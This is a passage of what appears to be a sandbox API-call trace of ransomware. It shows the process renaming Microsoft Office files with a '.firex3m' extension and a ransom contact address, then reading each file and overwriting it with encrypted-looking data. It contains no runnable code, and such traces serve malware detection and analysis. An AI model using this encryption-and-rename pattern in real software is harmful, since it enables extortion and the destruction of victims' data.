| out: hFindFile=0x6d5280) returned 1 [0145.938] Sleep (dwMilliseconds=0x1) [0146.021] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS", len=0x40 | out: pbstr=0x5fbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS") returned 1 [0146.021] GetProcessHeap () returned 0x630000 [0146.021] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2754) returned 0x71f7c78 [0146.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0146.288] CloseHandle (hObject=0x708) returned 1 [0146.288] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.288] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.341] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.341] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9c1bf71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa538a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OUTLOO~1.FIR")) returned 0x6d53c0 [0146.341] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0146.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0146.342] GetProcessHeap () returned 0x630000 [0146.342] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71d5490 [0146.342] GetProcessHeap () returned 0x630000 [0146.342] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71e08c0 [0146.342] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.343] ReadFile (in: hFile=0x714, lpBuffer=0x71d5490, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d5490*, lpNumberOfBytesRead=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0153.226] GetProcessHeap () returned 0x630000 [0153.226] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0153.226] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.226] WriteFile (in: hFile=0x714, lpBuffer=0x71e08c0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e08c0*, lpNumberOfBytesWritten=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0153.227] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.227] WriteFile (in: hFile=0x714, lpBuffer=0x71ebcbf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ebcbf*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0153.228] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.228] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0153.228] CloseHandle (hObject=0x714) returned 1 [0153.228] GetProcessHeap () returned 0x630000 [0153.228] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71e08c0 | out: hHeap=0x630000) returned 1 [0153.232] GetProcessHeap () returned 0x630000 [0153.232] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d5490 | out: hHeap=0x630000) returned 1 [0153.233] GetProcessHeap () returned 0x630000 [0153.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0155.289] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.289] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2147df3a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa53ae, dwReserved0=0xad47496, dwReserved1=0x71d5488, cFileName="OUTLOOK.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OUTLOO~1.FIR")) returned 0x6d5540 [0155.289] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0155.290] Sleep (dwMilliseconds=0x1) [0155.294] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\PowerViewRes.bg.xap", len=0x65 | out: pbstr=0x5fbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\PowerViewRes.bg.xap") returned 1 [0155.294] GetProcessHeap () returned 0x630000 [0155.294] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b68) returned 0x707d3d0 [0155.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\PowerViewRes.bg.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\bg\\powerviewres.bg.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0155.295] CloseHandle (hObject=0x4e8) returned 1 [0155.295] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0155.295] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\PowerViewRes.bg.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\bg\\powerviewres.bg.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\PowerViewRes.bg.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\bg\\powerviewres.bg.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0155.296] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.296] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\PowerViewRes.bg.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133819a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133a7bf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51eb9, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.bg.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d53c0 [0155.296] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0155.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\PowerViewRes.bg.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\bg\\powerviewres.bg.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0155.296] GetProcessHeap () returned 0x630000 [0155.296] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72e9d78 [0155.296] GetProcessHeap () returned 0x630000 [0155.296] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72f51a8 [0155.296] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.296] ReadFile (in: hFile=0x4e8, lpBuffer=0x72e9d78, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9d78*, lpNumberOfBytesRead=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0164.020] GetProcessHeap () returned 0x630000 [0164.020] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71773d0 [0164.020] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.020] WriteFile (in: hFile=0x4e8, lpBuffer=0x72f51a8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f51a8*, lpNumberOfBytesWritten=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0164.021] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.021] WriteFile (in: hFile=0x4e8, lpBuffer=0x73005a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x73005a7*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0164.022] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.022] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0164.022] CloseHandle (hObject=0x4e8) returned 1 [0164.023] GetProcessHeap () returned 0x630000 [0164.023] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72f51a8 | out: hHeap=0x630000) returned 1 [0164.023] GetProcessHeap () returned 0x630000 [0164.023] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72e9d78 | out: hHeap=0x630000) returned 1 [0164.023] GetProcessHeap () returned 0x630000 [0164.023] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71773d0 | out: hHeap=0x630000) returned 1 [0164.023] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0164.023] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\PowerViewRes.bg.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133819a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b5bfba, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x51edd, dwReserved0=0xad47496, dwReserved1=0x72e9d70, cFileName="PowerViewRes.bg.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d4f40 [0164.024] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0164.024] Sleep (dwMilliseconds=0x1) [0164.030] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x5fbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\PowerPivotExcelClientAddIn.rll") returned 1 [0164.030] GetProcessHeap () returned 0x630000 [0164.030] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c10) returned 0x707d3d0 [0164.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1054\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0165.539] CloseHandle (hObject=0x6e0) returned 1 [0165.539] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0165.539] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1054\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1054\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0168.544] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0168.544] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11660, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5440 [0168.544] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0168.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1054\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0168.544] GetProcessHeap () returned 0x630000 [0168.544] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7001850 [0168.546] GetProcessHeap () returned 0x630000 [0168.546] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x700cc80 [0168.546] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.546] ReadFile (in: hFile=0x6e0, lpBuffer=0x7001850, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7001850*, lpNumberOfBytesRead=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0175.173] GetProcessHeap () returned 0x630000 [0175.173] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71773d0 [0175.174] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.174] WriteFile (in: hFile=0x6e0, lpBuffer=0x700cc80*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x700cc80*, lpNumberOfBytesWritten=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0175.175] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.175] WriteFile (in: hFile=0x6e0, lpBuffer=0x701807f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x701807f*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0175.175] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.175] WriteFile (in: hFile=0x6e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0175.175] CloseHandle (hObject=0x6e0) returned 1 [0175.176] GetProcessHeap () returned 0x630000 [0175.176] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x700cc80 | out: hHeap=0x630000) returned 1 [0175.176] GetProcessHeap () returned 0x630000 [0175.176] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7001850 | out: hHeap=0x630000) returned 1 [0175.176] GetProcessHeap () returned 0x630000 [0175.176] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71773d0 | out: hHeap=0x630000) returned 1 [0175.176] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0175.176] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2e5c6503, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11684, dwReserved0=0xad47496, dwReserved1=0x7001848, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5000 [0175.176] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0175.176] Sleep (dwMilliseconds=0x1) [0177.044] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_K_COL.HXK", len=0x4a | out: pbstr=0x5fbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_K_COL.HXK") returned 1 [0177.044] GetProcessHeap () returned 0x630000 [0177.044] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b3c) returned 0x707d3d0 [0177.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0177.050] CloseHandle (hObject=0x6c8) returned 1 [0177.050] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.050] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.056] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.056] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ_STD_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINPRO~1.FIR")) returned 0x6d5280 [0177.061] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0177.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0177.155] GetProcessHeap () returned 0x630000 [0177.155] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a5318 [0177.155] GetProcessHeap () returned 0x630000 [0177.155] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a53a8 [0177.155] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.155] ReadFile (in: hFile=0x674, lpBuffer=0x6a5318, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5318*, lpNumberOfBytesRead=0x5fbff0c*=0x60, lpOverlapped=0x0) returned 1 [0177.157] GetProcessHeap () returned 0x630000 [0177.157] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0177.157] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.157] WriteFile (in: hFile=0x674, lpBuffer=0x6a53a8*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a53a8*, lpNumberOfBytesWritten=0x5fbff0c*=0x60, lpOverlapped=0x0) returned 1 [0177.157] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.157] WriteFile (in: hFile=0x674, lpBuffer=0x6a5407*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5407*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.157] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, 